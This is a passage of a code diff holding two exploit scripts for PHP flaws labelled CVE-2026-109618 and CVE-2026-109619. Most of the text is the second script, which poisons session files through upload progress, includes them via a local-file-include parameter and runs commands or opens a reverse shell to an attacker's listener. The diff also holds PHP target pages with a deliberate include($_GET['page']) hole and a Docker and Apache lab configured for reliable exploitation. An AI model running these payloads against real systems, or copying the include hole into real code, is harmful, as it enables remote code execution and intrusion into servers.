print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
|
||||
else:
|
||||
print()
|
||||
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
|
||||
print(f"[*] Session file for re-exploitation: {sess_path}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only
|
||||
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
|
||||
--session-path /var/lib/php/sessions --lfi-param tpl
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vuln without RCE payload")
|
||||
ap.add_argument("--session-path",
|
||||
help="session.save_path on target (default: common paths)")
|
||||
ap.add_argument("--session-id",
|
||||
help="Force PHPSESSID (default: random hex)")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
|
||||
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
|
||||
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
|
||||
help=f"Bytes per field (default: {FIELD_SIZE})")
|
||||
ap.add_argument("--no-chunked", action="store_true",
|
||||
help="Use Content-Length instead of chunked encoding "
|
||||
"(required when nginx has fastcgi_request_buffering off)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,11 +0,0 @@
|
||||
<?php
|
||||
session_start();
|
||||
$pid = getmypid();
|
||||
|
||||
if (isset($_GET['page'])) {
|
||||
include($_GET['page']);
|
||||
}
|
||||
|
||||
$n = count($_POST);
|
||||
$files = count($_FILES);
|
||||
echo "pid=$pid post=$n files=$files sid=" . session_id() . "\n";
|
||||
@@ -1,20 +0,0 @@
|
||||
<?php
|
||||
$pid = getmypid();
|
||||
$status_pre = session_status();
|
||||
$sid_pre = session_id();
|
||||
$ok = @session_start();
|
||||
$status_post = session_status();
|
||||
$sid_post = session_id();
|
||||
$sess_data = isset($_SESSION) ? $_SESSION : null;
|
||||
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
|
||||
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
|
||||
|
||||
header('Content-Type: text/plain');
|
||||
echo "pid=$pid\n";
|
||||
echo "session_status_before=$status_pre\n";
|
||||
echo "session_id_before=$sid_pre\n";
|
||||
echo "session_start_ok=" . var_export($ok, true) . "\n";
|
||||
echo "session_status_after=$status_post\n";
|
||||
echo "session_id_after=$sid_post\n";
|
||||
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
|
||||
echo "session_payload_len=$sess_payload_len\n";
|
||||
@@ -1,686 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109619 — RCE via PHP session upload progress
|
||||
|
||||
PHP's session.upload_progress feature (enabled by default) writes
|
||||
upload progress data to the session file during multipart request
|
||||
parsing. The progress key stored in the session is constructed as:
|
||||
|
||||
session.upload_progress.prefix + $_POST[session.upload_progress.name]
|
||||
|
||||
The attacker controls the POST field value, and the session file
|
||||
serializer (php format) stores the key VERBATIM — the only character
|
||||
filtered is '|' (the key/value delimiter). This means arbitrary
|
||||
bytes, including PHP code, are written into the session file on disk.
|
||||
|
||||
The session file path is predictable:
|
||||
<session.save_path>/sess_<PHPSESSID>
|
||||
|
||||
Common default paths:
|
||||
/tmp/sess_*
|
||||
/var/lib/php/sessions/sess_*
|
||||
|
||||
Exploitation:
|
||||
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
|
||||
embedded PHP code: <?php system($cmd); ?>
|
||||
2. The upload progress callback writes this to the session file.
|
||||
3. Include the session file via any local-file-include vector:
|
||||
- Direct include() / require() with attacker-controlled path
|
||||
- PHP stream wrappers (php://filter)
|
||||
- Log/session file inclusion (a classic PHP attack)
|
||||
4. The PHP engine parses the session file, finds the <?php ?> tag
|
||||
within the serialized data, and executes the injected code.
|
||||
|
||||
The exploit automates all steps: it obtains a session ID, injects code
|
||||
via upload progress, and triggers inclusion for RCE.
|
||||
|
||||
Requirements
|
||||
------------
|
||||
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
|
||||
- session.serialize_handler = php (default)
|
||||
- Target endpoint calls session_start()
|
||||
- An LFI vector OR known session save path + include primitive
|
||||
- Tested on PHP 8.0–8.4 x86_64 Linux
|
||||
|
||||
Usage
|
||||
-----
|
||||
# Reverse shell via LFI
|
||||
python3 exploit.py --target http://target/app.php \\
|
||||
--lfi-param page \\
|
||||
--session-path /tmp \\
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
|
||||
# Trigger-only (write code to session, report path)
|
||||
python3 exploit.py --target http://target/app.php --trigger-only
|
||||
|
||||
# Custom command
|
||||
python3 exploit.py --target http://target/app.php \\
|
||||
--lfi-param page --session-path /tmp \\
|
||||
--cmd "id > /tmp/pwned"
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import io
|
||||
import os
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import re
|
||||
import threading
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Config
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
|
||||
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
|
||||
|
||||
DEFAULT_SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
"/var/lib/php/session",
|
||||
]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Multipart helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def multipart_field(name: bytes, value: bytes) -> bytes:
|
||||
return (
|
||||
b"--" + BOUNDARY + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n"
|
||||
)
|
||||
|
||||
def multipart_file(name: bytes, filename: bytes, content: bytes,
|
||||
content_type: bytes = b"application/octet-stream") -> bytes:
|
||||
return (
|
||||
b"--" + BOUNDARY + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name
|
||||
+ b'"; filename="' + filename + b'"\r\n'
|
||||
b"Content-Type: " + content_type + b"\r\n"
|
||||
b"\r\n" + content + b"\r\n"
|
||||
)
|
||||
|
||||
def multipart_end() -> bytes:
|
||||
return b"--" + BOUNDARY + b"--\r\n"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Payload construction
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def make_php_payload(cmd: str) -> bytes:
|
||||
"""Craft PHP code to inject into the session file via progress key.
|
||||
The code is embedded in the progress key prefix, so it ends up as:
|
||||
upload_progress_<PHP_CODE>
|
||||
in the session file. When the file is included, PHP parses and
|
||||
executes the <?php ?> block."""
|
||||
return f'<?php {cmd} ?>'.encode()
|
||||
|
||||
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
|
||||
cmd = (
|
||||
f"$sock=fsockopen('{lhost}',{lport});"
|
||||
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
|
||||
)
|
||||
return make_php_payload(cmd)
|
||||
|
||||
def make_cmd_payload(cmd: str) -> bytes:
|
||||
return make_php_payload(f'system("{cmd}");')
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HTTP helpers (raw sockets for precision)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _parse_url(url: str):
|
||||
from urllib.parse import urlparse
|
||||
p = urlparse(url)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
if p.query:
|
||||
path += "?" + p.query
|
||||
return host, port, tls, path
|
||||
|
||||
def _connect(host: str, port: int, tls: bool):
|
||||
sock = socket.create_connection((host, port), timeout=10)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
def _recv_response(sock, timeout=5) -> bytes:
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
chunk = sock.recv(8192)
|
||||
if not chunk:
|
||||
break
|
||||
resp += chunk
|
||||
if b"\r\n\r\n" in resp:
|
||||
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||||
headers = resp[:hdr_end]
|
||||
# Check Content-Length
|
||||
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
|
||||
if m:
|
||||
cl = int(m.group(1))
|
||||
body_so_far = len(resp) - hdr_end
|
||||
while body_so_far < cl:
|
||||
more = sock.recv(8192)
|
||||
if not more:
|
||||
break
|
||||
resp += more
|
||||
body_so_far += len(more)
|
||||
break
|
||||
# Check chunked
|
||||
if b'Transfer-Encoding: chunked' in headers:
|
||||
if b"\r\n0\r\n" in resp:
|
||||
break
|
||||
continue
|
||||
# No CL, no chunked — read until timeout
|
||||
try:
|
||||
more = sock.recv(4096)
|
||||
if more:
|
||||
resp += more
|
||||
except socket.timeout:
|
||||
pass
|
||||
break
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
def _send_http(sock, method: bytes, host: str, path: str,
|
||||
body: bytes = b"", headers: dict = None,
|
||||
content_type: bytes = None, keepalive: bool = True) -> bytes:
|
||||
conn = b"keep-alive" if keepalive else b"close"
|
||||
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
|
||||
req += b"Host: " + host.encode() + b"\r\n"
|
||||
if content_type:
|
||||
req += b"Content-Type: " + content_type + b"\r\n"
|
||||
if body:
|
||||
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
req += b"Connection: " + conn + b"\r\n"
|
||||
if headers:
|
||||
for k, v in headers.items():
|
||||
req += f"{k}: {v}\r\n".encode()
|
||||
req += b"\r\n"
|
||||
sock.sendall(req + body)
|
||||
return _recv_response(sock)
|
||||
|
||||
def _extract_cookies(resp: bytes) -> dict:
|
||||
cookies = {}
|
||||
for line in resp.split(b"\r\n"):
|
||||
if line.lower().startswith(b"set-cookie:"):
|
||||
cookie_str = line.split(b":", 1)[1].strip()
|
||||
kv = cookie_str.split(b";")[0]
|
||||
if b"=" in kv:
|
||||
k, v = kv.split(b"=", 1)
|
||||
cookies[k.strip().decode()] = v.strip().decode()
|
||||
return cookies
|
||||
|
||||
def _decode_chunked(data: bytes) -> bytes:
|
||||
out = b""
|
||||
while data:
|
||||
line_end = data.find(b"\r\n")
|
||||
if line_end < 0:
|
||||
break
|
||||
size_str = data[:line_end].split(b";")[0].strip()
|
||||
try:
|
||||
chunk_len = int(size_str, 16)
|
||||
except ValueError:
|
||||
break
|
||||
if chunk_len == 0:
|
||||
break
|
||||
start = line_end + 2
|
||||
out += data[start:start + chunk_len]
|
||||
data = data[start + chunk_len + 2:]
|
||||
return out
|
||||
|
||||
def _extract_body(resp: bytes) -> bytes:
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return b""
|
||||
headers, body = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in headers.lower():
|
||||
return _decode_chunked(body)
|
||||
return body
|
||||
|
||||
def _status_code(resp: bytes) -> int:
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return 0
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exploit phases
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def phase1_get_session(sock, host, path) -> str:
|
||||
"""Get a valid PHPSESSID from the target."""
|
||||
resp = _send_http(sock, b"GET", host, path)
|
||||
cookies = _extract_cookies(resp)
|
||||
sid = cookies.get("PHPSESSID")
|
||||
if not sid:
|
||||
body = _extract_body(resp)
|
||||
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
|
||||
if m:
|
||||
sid = m.group(1).decode()
|
||||
return sid
|
||||
|
||||
def phase2_inject(sock, host, path, session_id: str,
|
||||
php_code: bytes) -> tuple:
|
||||
"""Inject PHP code into the session file via upload progress."""
|
||||
body = io.BytesIO()
|
||||
|
||||
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
|
||||
# fields — PHP processes form fields in order and initialises the
|
||||
# progress tracker when it sees this field.
|
||||
body.write(multipart_field(PROGRESS_FIELD, php_code))
|
||||
|
||||
# A file upload is required to trigger the progress write-back.
|
||||
# The callback only writes progress data on FILE_START/DATA/END events.
|
||||
body.write(multipart_file(
|
||||
b"file", b"payload.bin",
|
||||
b"\x00" * 8192,
|
||||
))
|
||||
|
||||
body.write(multipart_end())
|
||||
body_bytes = body.getvalue()
|
||||
|
||||
ct = b"multipart/form-data; boundary=" + BOUNDARY
|
||||
resp = _send_http(
|
||||
sock, b"POST", host, path,
|
||||
body=body_bytes,
|
||||
content_type=ct,
|
||||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||||
keepalive=True,
|
||||
)
|
||||
return _status_code(resp), _extract_body(resp)
|
||||
|
||||
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
|
||||
"""Send a slow multipart upload to keep session file populated.
|
||||
|
||||
Used for race condition against cleanup=1: the session file contains
|
||||
our PHP code during the entire upload. A concurrent request can
|
||||
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
|
||||
"""
|
||||
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
||||
sock = _connect(host, port, tls)
|
||||
|
||||
# Build progress field + start of file upload
|
||||
head = b""
|
||||
head += (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n")
|
||||
head += (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n")
|
||||
|
||||
file_size = 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total_body = len(head) + file_size + len(tail)
|
||||
|
||||
req = (
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total_body).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
sock.sendall(req + head)
|
||||
|
||||
chunk = b"\x00" * 4096
|
||||
sent = 0
|
||||
start_time = time.time()
|
||||
try:
|
||||
while sent < file_size and (time.time() - start_time) < duration:
|
||||
to_send = min(4096, file_size - sent)
|
||||
sock.sendall(chunk[:to_send])
|
||||
sent += to_send
|
||||
time.sleep(0.05)
|
||||
sock.sendall(tail)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
try:
|
||||
_recv_response(sock, timeout=2)
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
|
||||
def phase3_include(sock, host, path, session_id: str,
|
||||
session_path: str, lfi_param: str) -> tuple:
|
||||
"""Trigger LFI to include the poisoned session file."""
|
||||
sess_file = f"{session_path}/sess_{session_id}"
|
||||
inc_path = f"{path}?{lfi_param}={sess_file}"
|
||||
|
||||
resp = _send_http(
|
||||
sock, b"GET", host, inc_path,
|
||||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||||
keepalive=False,
|
||||
)
|
||||
return _status_code(resp), _extract_body(resp)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Session path discovery
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def discover_session_path(sock, host, path, session_id: str,
|
||||
lfi_param: str, paths: list) -> str:
|
||||
"""Try common session save paths to find the right one."""
|
||||
for sp in paths:
|
||||
sess_file = f"{sp}/sess_{session_id}"
|
||||
inc_path = f"{path}?{lfi_param}={sess_file}"
|
||||
resp = _send_http(
|
||||
sock, b"GET", host, inc_path,
|
||||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||||
keepalive=True,
|
||||
)
|
||||
body = _extract_body(resp)
|
||||
status = _status_code(resp)
|
||||
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
|
||||
return sp
|
||||
return ""
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def run(target: str, lhost: str, lport: int, trigger_only: bool,
|
||||
cmd: str, lfi_param: str, session_path: str, attempts: int,
|
||||
race: bool = False):
|
||||
|
||||
host, port, tls, path = _parse_url(target)
|
||||
|
||||
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
|
||||
print(f"[*] Target: {target}")
|
||||
if trigger_only:
|
||||
print(f"[*] Mode: trigger-only (inject code, report path)")
|
||||
elif cmd:
|
||||
print(f"[*] Mode: command execution")
|
||||
print(f"[*] Command: {cmd}")
|
||||
else:
|
||||
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
|
||||
if race:
|
||||
print(f"[*] Race: enabled (works with cleanup=1)")
|
||||
print()
|
||||
|
||||
# Build payload
|
||||
if trigger_only:
|
||||
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
|
||||
elif cmd:
|
||||
cmd_safe = cmd.replace('"', '\\"')
|
||||
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
|
||||
else:
|
||||
if not lhost or not lport:
|
||||
print("[!] --lhost and --lport required for reverse shell mode")
|
||||
sys.exit(1)
|
||||
php_code = make_reverse_shell_payload(lhost, lport)
|
||||
|
||||
# Race condition mode: send slow upload + concurrent LFI
|
||||
if race and lfi_param:
|
||||
return _run_race(host, port, tls, path, php_code, lfi_param,
|
||||
session_path, cmd, lhost, lport, trigger_only, attempts)
|
||||
|
||||
for attempt in range(1, attempts + 1):
|
||||
if attempts > 1:
|
||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||
|
||||
sock = _connect(host, port, tls)
|
||||
|
||||
# Phase 1: Get session ID
|
||||
print("[*] Phase 1: Obtaining session ID...")
|
||||
sid = phase1_get_session(sock, host, path)
|
||||
if not sid:
|
||||
sid = os.urandom(13).hex()
|
||||
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
|
||||
else:
|
||||
print(f"[+] PHPSESSID: {sid}")
|
||||
|
||||
# Phase 2: Inject PHP code via upload progress
|
||||
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
|
||||
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
|
||||
status, body = phase2_inject(sock, host, path, sid, php_code)
|
||||
print(f" Response: HTTP {status}")
|
||||
|
||||
if status == 200:
|
||||
print("[+] Upload progress request accepted — code injected into session file")
|
||||
elif status == 502:
|
||||
print("[!] 502 — worker crashed. Retrying...")
|
||||
sock.close()
|
||||
time.sleep(0.5)
|
||||
continue
|
||||
else:
|
||||
print(f"[!] Unexpected status {status}")
|
||||
|
||||
if trigger_only:
|
||||
print()
|
||||
print("[+] Session file poisoned successfully.")
|
||||
print(f"[*] Session ID: {sid}")
|
||||
print(f"[*] The session file contains injected PHP code.")
|
||||
print(f"[*] Common session file locations:")
|
||||
for sp in DEFAULT_SESSION_PATHS:
|
||||
print(f" {sp}/sess_{sid}")
|
||||
print()
|
||||
print("[*] To verify, include the session file via LFI:")
|
||||
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
|
||||
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
|
||||
print()
|
||||
print("[*] Or check the file directly on the target server:")
|
||||
print(f" cat /tmp/sess_{sid}")
|
||||
print(f" strings /var/lib/php/sessions/sess_{sid}")
|
||||
sock.close()
|
||||
return True
|
||||
|
||||
# Phase 3: Trigger inclusion
|
||||
if not lfi_param:
|
||||
print()
|
||||
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
|
||||
print(f"[*] Trigger manually: include the session file via LFI")
|
||||
print(f" {target}?PARAM={session_path}/sess_{sid}")
|
||||
sock.close()
|
||||
return True
|
||||
|
||||
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
|
||||
|
||||
if not session_path:
|
||||
print("[*] No --session-path given, trying common paths...")
|
||||
session_path = discover_session_path(
|
||||
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
|
||||
if session_path:
|
||||
print(f"[+] Found session path: {session_path}")
|
||||
else:
|
||||
print("[!] Could not auto-detect session path. Try --session-path")
|
||||
sock.close()
|
||||
continue
|
||||
|
||||
# Need a fresh connection (the POST consumed the keepalive)
|
||||
try:
|
||||
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
sock.close()
|
||||
sock = _connect(host, port, tls)
|
||||
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
||||
|
||||
print(f" Response: HTTP {status}")
|
||||
body_text = body.decode(errors='replace')
|
||||
|
||||
if "CVE-2026-109619:" in body_text:
|
||||
# Trigger-only canary found in output
|
||||
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
||||
marker = marker.split("|")[0].split("\x00")[0][:200]
|
||||
print(f"[+] CODE EXECUTION CONFIRMED!")
|
||||
print(f" Output: {marker}")
|
||||
sock.close()
|
||||
return True
|
||||
elif cmd and status == 200:
|
||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||
if m:
|
||||
output = m.group(1).strip()
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(output)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
||||
sock.close()
|
||||
return True
|
||||
elif "upload_progress_" in body_text:
|
||||
print(f"[+] Session file included but code may not have executed")
|
||||
print(f" (serialized session data visible in response)")
|
||||
sock.close()
|
||||
return True
|
||||
else:
|
||||
print(f"[!] Inclusion did not produce expected output. Body preview:")
|
||||
print(f" {body_text[:300]}")
|
||||
elif not cmd and not trigger_only and status == 200:
|
||||
print(f"[*] Request sent — check listener on {lhost}:{lport}")
|
||||
sock.close()
|
||||
return True
|
||||
else:
|
||||
print(f"[!] Inclusion may have failed. Body preview:")
|
||||
print(f" {body_text[:200]}")
|
||||
|
||||
sock.close()
|
||||
print()
|
||||
|
||||
print()
|
||||
if trigger_only:
|
||||
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
|
||||
elif cmd or (lhost and lport):
|
||||
print("[*] Done. If RCE did not fire, check:")
|
||||
print(" - session.upload_progress.enabled = 1")
|
||||
print(" - session.serialize_handler = php (default)")
|
||||
print(" - LFI parameter name (--lfi-param)")
|
||||
print(" - Session save path (--session-path)")
|
||||
return False
|
||||
|
||||
def _run_race(host, port, tls, path, php_code, lfi_param,
|
||||
session_path, cmd, lhost, lport, trigger_only, attempts):
|
||||
"""Race condition mode: works with session.upload_progress.cleanup=1.
|
||||
|
||||
Sends a slow multipart upload to keep the session file populated with
|
||||
our PHP code, while concurrently trying to include it via LFI.
|
||||
"""
|
||||
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
|
||||
|
||||
for attempt in range(1, attempts + 1):
|
||||
if attempts > 1:
|
||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[+] Session ID: {sid}")
|
||||
|
||||
# Start slow upload in background thread
|
||||
print("[*] Starting slow upload (keeps session file alive)...")
|
||||
upload_thread = threading.Thread(
|
||||
target=phase2_inject_slow,
|
||||
args=(host, port, tls, path, sid, php_code, 8.0),
|
||||
daemon=True,
|
||||
)
|
||||
upload_thread.start()
|
||||
time.sleep(0.3)
|
||||
|
||||
# Race: try LFI repeatedly while upload is in progress
|
||||
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
|
||||
lfi_sid = os.urandom(16).hex()
|
||||
print("[*] Racing LFI requests against upload...")
|
||||
hit = False
|
||||
for i in range(100):
|
||||
if not upload_thread.is_alive():
|
||||
break
|
||||
for sp in spaths:
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
url = f"{path}?{lfi_param}={sess_file}"
|
||||
try:
|
||||
sock = _connect(host, port, tls)
|
||||
resp = _send_http(
|
||||
sock, b"GET", host, url,
|
||||
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
||||
keepalive=False,
|
||||
)
|
||||
sock.close()
|
||||
body = _extract_body(resp)
|
||||
body_text = body.decode(errors="replace")
|
||||
|
||||
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
|
||||
hit = True
|
||||
if "CVE-2026-109619:" in body_text:
|
||||
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
||||
marker = marker.split("|")[0][:200]
|
||||
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
|
||||
print(f" {marker}")
|
||||
elif "CVE2026:" in body_text:
|
||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||
if m:
|
||||
result = m.group(1).strip()
|
||||
else:
|
||||
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
|
||||
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
|
||||
print(result)
|
||||
print("[+] ═════════════════════════════════════════════")
|
||||
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
||||
return True
|
||||
elif b"upload_progress_" in body:
|
||||
print(f" [+] Session file found at {sp} — content visible")
|
||||
if trigger_only:
|
||||
print(f"[+] Session poisoning confirmed (race won)")
|
||||
return True
|
||||
except:
|
||||
pass
|
||||
time.sleep(0.02)
|
||||
|
||||
upload_thread.join(timeout=2)
|
||||
|
||||
if hit:
|
||||
return True
|
||||
print(f" Race lost on attempt {attempt}")
|
||||
|
||||
print("[!] Race condition failed after all attempts")
|
||||
print(" Try: --attempts 10 or check --session-path")
|
||||
return False
|
||||
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(
|
||||
description="CVE-2026-109619: PHP session upload progress → RCE",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
|
||||
%(prog)s -t http://target/app.php --trigger-only
|
||||
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||||
""")
|
||||
p.add_argument("--target", "-t", required=True,
|
||||
help="Target URL (PHP endpoint with session_start())")
|
||||
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||||
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||||
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
|
||||
p.add_argument("--trigger-only", action="store_true",
|
||||
help="Inject code into session file only — no inclusion/RCE")
|
||||
p.add_argument("--lfi-param", default="",
|
||||
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
|
||||
p.add_argument("--session-path", default="",
|
||||
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
|
||||
p.add_argument("--race", action="store_true",
|
||||
help="Race condition mode — works with cleanup=1 (default config)")
|
||||
p.add_argument("--attempts", type=int, default=3,
|
||||
help="Number of attempts (default 3)")
|
||||
args = p.parse_args()
|
||||
|
||||
if not args.trigger_only and not args.cmd and not args.lhost:
|
||||
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
|
||||
sys.exit(1)
|
||||
|
||||
run(args.target, args.lhost, args.lport, args.trigger_only,
|
||||
args.cmd, args.lfi_param, args.session_path, args.attempts,
|
||||
race=args.race)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
session_start();
|
||||
$pid = getmypid();
|
||||
|
||||
if (isset($_GET['page'])) {
|
||||
include($_GET['page']);
|
||||
}
|
||||
|
||||
echo "pid=$pid sid=" . session_id() . "\n";
|
||||
@@ -0,0 +1,9 @@
|
||||
# Single-worker prefork for reliable exploitation.
|
||||
# The exploit requires A and B requests to hit the same worker.
|
||||
<IfModule mpm_prefork_module>
|
||||
StartServers 1
|
||||
MinSpareServers 1
|
||||
MaxSpareServers 1
|
||||
MaxRequestWorkers 1
|
||||
MaxConnectionsPerChild 0
|
||||
</IfModule>
|
||||
@@ -0,0 +1,21 @@
|
||||
services:
|
||||
target:
|
||||
image: php:8.4.26-apache
|
||||
container_name: php2shell-uaf-target
|
||||
ports:
|
||||
- "127.0.0.1:8089:80"
|
||||
volumes:
|
||||
- ./php.ini:/usr/local/etc/php/php.ini:ro
|
||||
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
|
||||
